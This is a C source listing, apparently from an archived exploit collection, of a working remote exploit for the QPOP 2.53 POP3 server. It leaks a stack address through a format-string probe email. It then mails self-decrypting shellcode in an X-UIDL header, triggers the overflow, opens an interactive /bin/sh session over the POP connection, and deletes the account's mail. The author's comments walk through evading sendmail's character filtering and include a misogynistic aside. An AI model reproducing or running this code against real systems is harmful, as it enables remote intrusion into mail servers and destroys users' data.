home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / axur.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  19KB  |  667 lines

  1. /* 
  2.  *  Q-POP 2.53  The real smash. For linux.
  3.  *   (C) 2000   Axur Communications Inc.
  4.  *    26 May    csh@axur.org
  5.  *  ----------
  6.  *
  7.  *   Some notes about this: (you may not see this ok, because I use wide screen width. Let it scroll)
  8.  
  9.        It's now more than 40 hours sleepless work on this. I hope you enjoy this release.
  10.        I'll explain why this took that long. First, the directives to use this exploit:
  11.        
  12.        Ingredients:
  13.        
  14.        1 - half neuronium. Even your blond girl friend can do that.
  15.        2 - a valid pop account. Now the hardest part:
  16.        
  17.               a. you should be able to find out the smtp server that handle this account, as well its host 
  18.                  for pop query.
  19.               b. you must be smart enough to clean your mess.
  20.               c. do not blame me for that. By the way, I not responsible for your attitudes. Use this to audit
  21.                  your system, not your neighbor's one.
  22.        
  23.        3 - edit this file (look main void), to exploit your box.
  24.        
  25.        Now, some theory (I love that). It started May 24th, 7pm.
  26.        
  27.        I saw prizm post on buqtraq, so I wanted to see this little baby smashing his ass by my eyes, so I started
  28.        the action.
  29.        
  30.        After smashing it locally, some time spent. I got several vfprintf stack fault, then I realized that it was
  31.        a ibc5 bug, looked forward to it. Posted this note right away to buqtraq, hope it'll published. ('til now, 
  32.        nothing). After this little, incident, a lot of more were defacing my coding hungryness.
  33.        
  34.        I made a 20seconds shellcode to the first tries, then I realized sendmails filters some characters.
  35.        In some tests, reveals that 0x80...0x9f characters is filtered by sendmail on header tags.
  36.        Ohh god, let me apply my old virii technics I learned reading the famous 40hex ;).
  37.        I put myself into a challenge now. Self-mutanting code is the only solution to get around, as most "movs"
  38.        opcodes use those range of chars, as well the int $0x80 (cd 80). okay. I made the shell quite simple.
  39.        Some push, pop, inc, and inner looping technics got it done. Ow, by the way, the sun arised. its 7am.
  40.        Time to smash remotely. Oh my god, the From: statement as prizm put in his exploit filters even 0xff, my 
  41.        stack range is now 0xbffffe51c ;). I sent prizm an email regarding this quote, and went to bed to have 
  42.        "some sleep". Its now 7:30. 
  43.        11am I woke up thinking about how to fools the "From:" statement, letting it saving 0xff chars. Time to 
  44.        download sendmail's source code for a closer analisys. 
  45.        Damn. I forgot how sendmail's code is messy! Well, at this time, 3pm and I am giving up this shite.
  46.        No answers from prizm. He answered my on my quote to libc.5, and he said he had a working exploit. I thought
  47.        he is a liar. It's now 6pm and I should be writing a monography about steganographic methods. But this 
  48.        is getting me mad. I started to play with From: headers, tried to solve the problem with mime, but no deal.
  49.        Well, finally I found out a solution. sendmail forget about domain when the right email address is between 
  50.        "<>". So I can throw 0xff chars after a bracked email. Now, to the real thing :)
  51.        Exploing remotely from now, is trivial, but not the return address. I realized pretty fast a way around this.
  52.        Why not sending a probe message with a "%p" which should point to the "after" stack address?
  53.        So I did it. It now calculates the exactly return address to shell code. 
  54.        Then its now 2am 26th May. Fully documented (not that much), but a almost script kiddie exploit.
  55.        
  56.  
  57.  
  58.        Thank you for your attention,
  59.        Gustavo Scotti <csh@axur.org>
  60.  
  61.  *
  62.  *
  63.  */
  64.  
  65. #include <stdio.h>
  66. #include <stdlib.h>
  67. #include <time.h>
  68. #include <sys/socket.h>
  69. #include <netdb.h>        /* gethostbyname */
  70. #include <arpa/inet.h>          /* inet_ntoa */
  71. #include <string.h>
  72. /* these functions were taken from axur's Tamanduah's project.
  73.    should give appropriate credits.
  74. */
  75.  
  76. #define OK             0
  77. #define    INVALID_HOST        -1
  78. #define INVALID_SOCKET      -2
  79. #define CONNECTION_REFUSED    -3
  80.  
  81. typedef    unsigned char        u8;
  82. typedef unsigned short       u16;
  83. typedef unsigned long        u32;
  84.  
  85. int
  86. tcp_connect( daddr, dest)
  87. u32 daddr;
  88. u16 dest;
  89. {
  90.     struct sockaddr_in server;
  91.         int new;
  92.  
  93.         if (daddr == (u32)INVALID_HOST)
  94.            return INVALID_HOST;
  95.  
  96.     server.sin_family = AF_INET;
  97.     server.sin_port = htons( dest);
  98.         server.sin_addr.s_addr = htonl(daddr);
  99.  
  100.         new = socket( AF_INET, SOCK_STREAM, 0);
  101.         if (new<0)
  102.            return INVALID_SOCKET;
  103.  
  104.     if (connect( new, (struct sockaddr *)&server, sizeof( server))<0)
  105.            return CONNECTION_REFUSED;
  106.  
  107.         return new;
  108. }
  109.  
  110. u32 
  111. dns2ip( host)
  112. u8 *host;
  113. {
  114.         struct hostent *dns;
  115.         u32    saddr;
  116.         dns = gethostbyname( host);
  117.         if (!dns)
  118.            return INVALID_HOST;
  119.         bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
  120.         return ntohl(saddr);
  121. }
  122.  
  123.  
  124. int 
  125. strexplode( u8 *toparse, u8 **argv, int max_argc, u8 *separators)
  126. {
  127.    int arg = 0;
  128.    u8 *tmp;
  129.    
  130.    tmp = toparse;
  131.    while (arg<max_argc)
  132.       {
  133.       /* strip leading separators */
  134.       while (*tmp && strchr(separators, *tmp)) 
  135.          tmp++;
  136.       if (!*tmp) break;
  137.       argv[arg++] = tmp;
  138.       while (*tmp && !strchr(separators, *tmp)) 
  139.          tmp++;
  140.       if (!*tmp) break; 
  141.       *tmp = 0; tmp++;
  142.       }
  143.    return arg;
  144. }
  145.  
  146. /* end of tamandua's portion code... */
  147.  
  148. /*
  149.   Mutating shell-code. For QPOP-2.53.
  150.   by csh@axur.org
  151.   
  152.   This shellcodes illustrates that even with character filtering, it is possible to issue a shell-code.
  153.   This is done with a simple virus technic that self-mutates its code, generating the right one.
  154.   
  155.   The "good" application for self-mutated code is code compression, but I haven't done this for 2 main reasons:
  156.  
  157.         1. The shellcode must be tiny. VERY tiny. 69 bytes means anything to you? 
  158.         2. I must shrink this code as much as possible, to gain some "nop" space before stack smashing,
  159.            to give accurate and error-margin return address. If you're in touch with buffer overflow, you know
  160.            what I am talking about. :) 
  161.            correction for now: this exploit has the abilitie to get the ret addres precisely
  162.  
  163. */
  164.  
  165.  
  166. u8 decryptshellcode[]=
  167. "\x31\xc0"
  168. "\xeb\x35\x5e\x6a\x0e\x5b\x6a\x26\x59\x56\x5f\x29\xcf\xfe\x07"
  169. "\x47\x49\x75\xfa\x4b\x75\xf0";
  170.  
  171. u8 mutatedshellcode[]=
  172. "\x7b\xe2\x75\xb2\xfa\x7b\x38\xfa\x23\xb2\x7a\x38\xf9\x7b\x38\xfe"
  173. "\xa2\xfd\x7f\x40\xfa\x7f\x48\xfe\x7b\xe5\xbf\x72\x23\xb2\x32\xbf"
  174. "\x72\xe8\xc6\xff\xff\xff";
  175.  
  176. u8 shell[]="/bin/sh";
  177.  
  178. u16 pop_port = 110,
  179.     mx_port = 25;
  180. u8 *mx_host, *pop_host;
  181. u8 *mx_mail, *pop_user, *pop_pass;
  182. u32 ret_addr;
  183. int verbose;
  184.  
  185. int
  186. mx_connect()
  187. {
  188.    u8 tmp[1024];
  189.    int fd,n,i;
  190.    u32 addr;
  191.    
  192.    addr = dns2ip(mx_host);
  193.    if (addr==0xfffffff)
  194.       {
  195.       printf("mx host not found.\n");
  196.       exit(0);
  197.       }
  198.       
  199.    fd = tcp_connect(addr, mx_port);
  200.    if (fd<=0)
  201.       {
  202.       printf("mx host connection refused (%d)\n", mx_port);
  203.       exit(0);
  204.       }
  205.       
  206.    /* reads first banner */
  207.    n = read(fd, tmp, sizeof(tmp));
  208.    if (verbose)
  209.       printf("%s", tmp);
  210.    if (strncmp(tmp,"220 ", 4))
  211.       {
  212.       printf("mx_connect, stage 1 - connect. Error\n");
  213.       exit(0);
  214.       }
  215.  
  216.    sprintf(tmp,"HELO qpop-sploit\n");
  217.    write(fd, tmp, strlen(tmp));
  218.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  219.    if (verbose)
  220.       printf("%s", tmp);
  221.    if (strncmp(tmp,"250 ", 4))
  222.       {
  223.       printf("mx_connect, stage 2 - HELO. Error. Maybe you are not welcome.\n");
  224.       exit(0);
  225.       }
  226.  
  227.    sprintf(tmp,"MAIL FROM: <root@localhost>\n");
  228.    write(fd, tmp, strlen(tmp));
  229.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  230.    if (verbose)
  231.       printf("%s", tmp);
  232.    if (strncmp(tmp,"250 ", 4))
  233.       {
  234.       printf("mx_connect, stage 3 - MAIL FROM. Error. I believe they are denying localhost. Change the source.\n");
  235.       exit(0);
  236.       }
  237.  
  238.    sprintf(tmp,"RCPT TO: <%s>\n", mx_mail);
  239.    write(fd, tmp, strlen(tmp));
  240.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  241.    if (verbose)
  242.       printf("%s", tmp);
  243.    if (strncmp(tmp,"250 ", 4))
  244.       {
  245.       printf("mx_connect, stage 4 - RCPT TO. Error. You sure this email exists? (%s).\n", mx_mail);
  246.       exit(0);
  247.       }
  248.  
  249.    sprintf(tmp,"DATA\n");
  250.    write(fd, tmp, strlen(tmp));
  251.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  252.    if (verbose)
  253.       printf("%s", tmp);
  254.    if (strncmp(tmp,"354 ", 4))
  255.       {
  256.       printf("mx_connect, stage 5 - DATA. Error. Denying it?!?! What a loser.\n");
  257.       exit(0);
  258.       }
  259.    return fd;
  260. }
  261.  
  262.  
  263. mx_probe()
  264. {
  265.    u8 tmp[1024];
  266.    int fd, n;
  267.    
  268.    fd = mx_connect();
  269.    sprintf(tmp, "X-UIDL: qpop-probe");
  270.    write(fd, tmp, strlen(tmp));
  271.    
  272.    sprintf(tmp, "\nFrom: <root@localhost> %s", "%p");
  273.    write(fd, tmp, strlen(tmp));
  274.  
  275.    sprintf(tmp, "\nSubject: Wanna play?\n\n"
  276.                 "Tell me a number and I'll show you the truth!");
  277.    write(fd, tmp, strlen(tmp));
  278.  
  279.    sprintf(tmp,"\n.\n");
  280.    write(fd, tmp, strlen(tmp));
  281.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  282.  
  283.    if (verbose)
  284.       printf("%s", tmp);
  285.    if (strncmp(tmp,"250 ", 4))
  286.       {
  287.       printf("probe_mx, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n");
  288.       return 0 ;
  289.       }
  290.    sprintf(tmp,"QUIT\n");
  291.    write(fd, tmp, strlen(tmp));
  292.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  293.    if (verbose)
  294.       printf("%s", tmp);
  295.    if (strncmp(tmp,"221 ", 4))
  296.       {
  297.       printf("probe_mx, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
  298.       return 0 ;
  299.       }
  300.    close(fd);
  301. }
  302.  
  303.  
  304. mx_egg()
  305. {
  306.  
  307.    u8 tmp[1024];
  308.    int fd, n;
  309.    
  310.    fd = mx_connect();
  311.    sprintf(tmp, "X-UIDL: %s%s%s", decryptshellcode, mutatedshellcode, shell);
  312.    write(fd, tmp, strlen(tmp));
  313.  
  314.    printf("egg size %d bytes\n", 
  315.       strlen(decryptshellcode)+strlen(mutatedshellcode)+strlen(shell));
  316.    
  317.    sprintf(tmp, "\nFrom: <root@cisco.com> %s", "%.950d%.912d");
  318.    write(fd, tmp, strlen(tmp));
  319.  
  320.    for (n=0;n<25;n++)
  321.       write(fd, &ret_addr, 4);
  322.  
  323.    sprintf(tmp, "\nSubject: How is my little baby?\n\n"
  324.                 "Did it birth?! How cute!");
  325.    write(fd, tmp, strlen(tmp));
  326.  
  327.    sprintf(tmp,"\n.\n");
  328.    write(fd, tmp, strlen(tmp));
  329.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  330.  
  331.    if (verbose)
  332.       printf("%s", tmp);
  333.    if (strncmp(tmp,"250 ", 4))
  334.       {
  335.       printf("mx_egg, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n");
  336.       return 0 ;
  337.       }
  338.    sprintf(tmp,"QUIT\n");
  339.    write(fd, tmp, strlen(tmp));
  340.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  341.    if (verbose)
  342.       printf("%s", tmp);
  343.    if (strncmp(tmp,"221 ", 4))
  344.       {
  345.       printf("mx_egg, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
  346.       return 0 ;
  347.       }
  348.    close(fd);
  349. }
  350.  
  351.  
  352. pop_connect( int *nmsg)
  353. {
  354.    u8 tmp[4096];
  355.    int fd,n,i, msgid;
  356.    u32 addr;
  357.    
  358.    addr = dns2ip(pop_host);
  359.    if (addr==0xfffffff)
  360.       {
  361.       printf("pop host not found.\n");
  362.       exit(0);
  363.       }
  364.       
  365.    fd = tcp_connect(addr, pop_port);
  366.    if (fd<=0)
  367.       {
  368.       printf("pop host connection refused (%d)\n", pop_port);
  369.       exit(0);
  370.       }
  371.  
  372.    /* reads first banner */
  373.    n = read(fd, tmp, sizeof(tmp));
  374.    if (verbose)
  375.       printf("%s", tmp);
  376.    if (!strstr(tmp,"QPOP (version 2.53)"))
  377.       {
  378.       printf("pop_connect, stage 1 - This version is not exploitable.\n");
  379.       return 0 ;
  380.       }
  381.    /* check user */
  382.    sprintf(tmp,"USER %s\n", pop_user);
  383.    write(fd, tmp, strlen(tmp));
  384.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  385.    if (verbose)
  386.       printf("%s", tmp);
  387.    if (strncmp(tmp,"+OK ", 4))
  388.       {
  389.       printf("clean 1 - USER. Error. Is your account valid?.\n");
  390.       return 0 ;
  391.       }
  392.    /* check pass */
  393.    sprintf(tmp,"PASS %s\n", pop_pass);
  394.    write(fd, tmp, strlen(tmp));
  395.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  396.    if (verbose)
  397.       printf("%s", tmp);
  398.    if (strncmp(tmp,"+OK ", 4))
  399.       {
  400.       printf("clean stage 2 - PASS. Error. Password mismatch.\n");
  401.       return 0 ;
  402.       }
  403.    else
  404.       {
  405.       u8 *arg[6];
  406.       strexplode(tmp, arg, 6, " ");
  407.       *nmsg = atoi(arg[3]);
  408.       }
  409.    return fd;
  410. }
  411.  
  412. pop_clean()
  413. {
  414.    u8 tmp[4096];
  415.    int fd, i, n, nmsg;
  416.    
  417.    fd = pop_connect(&nmsg);
  418.    
  419.    if (!nmsg)
  420.       {
  421.       printf("no messages on server...\n");
  422.       close(fd);
  423.       return;
  424.       }
  425.    printf("you have %d messages, deleting...\n", nmsg);
  426.    for (i=1;i<=nmsg;i++)
  427.       {
  428.       printf("%d..", i); fflush(stdout);
  429.       sprintf(tmp,"DELE %d\n", i);
  430.       write(fd, tmp, strlen(tmp));
  431.       n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  432.       if (strncmp(tmp,"+OK ", 4))
  433.          {
  434.          printf("clean stage 3 - DELE. Error. ?????.\n");
  435.          exit(0);
  436.          }
  437.       }
  438.    printf("done\n");
  439.    sprintf(tmp,"QUIT\n");
  440.    write(fd, tmp, strlen(tmp));
  441.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  442.    if (strncmp(tmp,"+OK ", 4))
  443.       {
  444.       printf("clean stage 4 - QUIT. Error. ?????.\n");
  445.       exit(0);
  446.       }
  447.    close(fd);
  448. }
  449.    
  450.  
  451. check_delivery()
  452. {
  453.    u8 tmp[4096];
  454.    int fd,n,i, nmsg;
  455.    
  456. redo:
  457.    fd = pop_connect(&nmsg);
  458.    
  459.    if (!nmsg)
  460.       {
  461.       printf("no messages on server...\n");
  462.       close(fd);
  463.       printf("sleeping 5 seconds...\n");
  464.       sleep(5);
  465.       goto redo;
  466.       }
  467.  
  468.    /* take last message, which must be the exploit */
  469.    sprintf(tmp,"RETR %d\n", nmsg);
  470.    write(fd, tmp, strlen(tmp));
  471.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  472.    if (strncmp(tmp,"+OK ", 4))
  473.       {
  474.       printf("check_delivery stage 3 - RETR. Error. ?????.\n");
  475.       return 0 ;
  476.       }
  477.    else
  478.       {
  479.       u8 *param[3], head[128], *xuidl;
  480.       
  481.       n = strexplode(tmp, param, 3, " ");
  482.       n = atoi(param[1]);
  483.       read(fd, tmp, n); tmp[n]=0;
  484.       
  485.       printf("checking dependencies...\n");
  486.       xuidl = strstr(tmp, "X-UIDL: ");
  487.       if (!xuidl)
  488.          {
  489.          printf("check_delivery stage 4 - Error looking tag X-UIDL\n");
  490.          return 0 ;
  491.          }
  492.       xuidl+=8;
  493.       for (i=0;i<sizeof(decryptshellcode)-1;i++, xuidl++)
  494.          if (*xuidl!=decryptshellcode[i])
  495.             {
  496.             printf("check_delivery stage 5 - decrypt shellcode mismatch\n");
  497.             exit(0);
  498.             }
  499.       printf("decrypt shellcode OK..."); fflush(stdout);
  500.       for (i=0;i<sizeof(mutatedshellcode)-1;i++, xuidl++)
  501.          if (*xuidl!=mutatedshellcode[i])
  502.             {
  503.             printf("check_delivery stage 6 - mutated shellcode mismatch\n");
  504.             exit(0);
  505.             }
  506.       printf("mutated shellcode OK..."); fflush(stdout);
  507.       for (i=0;i<sizeof(shell)-1;i++, xuidl++)
  508.          if (*xuidl!=shell[i])
  509.             {
  510.             printf("check_delivery stage 7 - shell mismatch\n");
  511.             exit(0);
  512.             }
  513.       printf("shell OK..."); fflush(stdout);
  514.  
  515.       sprintf(head, "%s", "%.950d%.912d");
  516.       xuidl = head + strlen(head);
  517.       for (i=0;i<25;i++, xuidl+=4)
  518.          *(u32 *)xuidl = ret_addr;
  519.       *xuidl=0;
  520.       n = strlen(head);
  521.       xuidl = strstr(tmp, "From: ");
  522.       if (!xuidl)
  523.          {
  524.          printf("check_delivery stage 8 - Error looking tag From:\n");
  525.          exit( 0 );
  526.          }
  527.       xuidl+=23;
  528.       for (i=0;i<n;i++, xuidl++)
  529.          if (*xuidl!=head[i])
  530.             {
  531.             printf("check_delivery stage 8 - From ret address mismatch\n");
  532.             return 0 ;
  533.             }
  534.       printf("return address OK.\n");
  535.       
  536.       }
  537.    sprintf(tmp,"EUIDL %d\n", nmsg);
  538.    write(fd, tmp, strlen(tmp));
  539.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  540.    sprintf(tmp,"id ; uname -a\n");
  541.    write(fd, tmp, strlen(tmp));
  542.    printf("Entering loop...\n"); 
  543.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  544.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  545.  
  546.    while (n>0)
  547.       {
  548.       fd_set fds;  /* do a simple xit, very fast.. ;) I luv unix */
  549.       
  550.       FD_ZERO(&fds);
  551.       FD_SET(0, &fds);
  552.       FD_SET(fd, &fds);
  553.       select(fd+1, &fds, NULL, NULL, NULL);
  554.       if (FD_ISSET(0, &fds))
  555.          {
  556.          n = read(0, tmp, sizeof(tmp));
  557.          if (n>0)
  558.             write(fd, tmp, n);
  559.          }
  560.       if (FD_ISSET(fd, &fds))
  561.          {
  562.          n = read(fd, tmp, sizeof(tmp));
  563.          if (n>0)
  564.             write(1, tmp, n);
  565.          }
  566.       }
  567.    printf("out!\n");
  568.    close(fd);
  569.    return 1;
  570. }
  571.  
  572.  
  573. pop_getaddr()
  574. {
  575.    u8 tmp[4096];
  576.    int fd, i, n, nmsg;
  577.    
  578.    fd = pop_connect(&nmsg);
  579.    
  580.    if (!nmsg)
  581.       {
  582.       printf("no messages on server...\n");
  583.       exit(0);
  584.       }
  585.    sprintf(tmp,"EUIDL %d\n", nmsg);
  586.    write(fd, tmp, strlen(tmp));
  587.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  588.    if (strncmp(tmp,"+OK ", 4))
  589.       {
  590.       printf("pop_getaddr stage 1 - EUIDL error.\n");
  591.       exit(0);
  592.       }
  593.    else
  594.       {
  595.       u8 *arg[6];
  596.       
  597.       strexplode(tmp, arg, 6, " ");
  598.       ret_addr = 0;
  599.       sscanf(arg[5], "%x", &ret_addr);
  600.       if (!ret_addr)
  601.          {
  602.          printf("pop_getaddr stage 2 - cannot take address value, great possibility they are patched\n");
  603.          exit(0);
  604.          }
  605.       ret_addr-=2110; /* magic buffer size :P */
  606.    }
  607.    sprintf(tmp,"DELE %d\n", nmsg);
  608.    write(fd, tmp, strlen(tmp));
  609.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  610.    if (strncmp(tmp,"+OK ", 4))
  611.       {
  612.       printf("clean stage 3 - DELE. Error. ?????.\n");
  613.       exit(0);
  614.       }
  615.    sprintf(tmp,"QUIT\n");
  616.    write(fd, tmp, strlen(tmp));
  617.    n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
  618.    if (strncmp(tmp,"+OK ", 4))
  619.       {
  620.       printf("clean stage 4 - QUIT. Error. ?????.\n");
  621.       exit(0);
  622.       }
  623.    printf("done\nReturn address: %x\n", ret_addr);
  624.    close(fd);
  625. }
  626.  
  627.  
  628. main(int argc, char **argv)
  629. {
  630.      int i;
  631.      printf("Q-POP 2.53 exploitation by Axur Communications Inc.\n"
  632.             "(C)2000, csh@axur.org\n"
  633.             "Thanks to prizm@resentment.org and b0f for finding this bug\n\n"
  634.             );
  635.      
  636.  
  637.      /* change here... */
  638.      mx_host  = "localhost"; mx_mail = "lamer@localhost";
  639.      pop_host = "localhost";
  640.      
  641.      pop_user = "lamer"; pop_pass = "lamepwd";
  642.      /* end of changing... */
  643.      
  644.      verbose=0;
  645.      printf("Checking veracity user/pass, and removes its mail (you won't need them anyway)..."); fflush(stdout);
  646.      pop_clean();
  647.      
  648.      printf("Sending probing email..."); fflush(stdout);
  649.      mx_probe(); 
  650.      if (strcmp(mx_host, pop_host))
  651.         {
  652.         printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
  653.         sleep(4);
  654.         }
  655.      pop_getaddr();
  656.  
  657.      printf("Sending egg email..."); fflush(stdout);
  658.      mx_egg();
  659.      printf("Checking delivery..."); fflush(stdout);
  660.      if (strcmp(mx_host, pop_host))
  661.         {
  662.         printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
  663.         sleep(4);
  664.         }
  665.      check_delivery();
  666. }
  667. /*                   www.hack.co.za   [27 September 2000]*/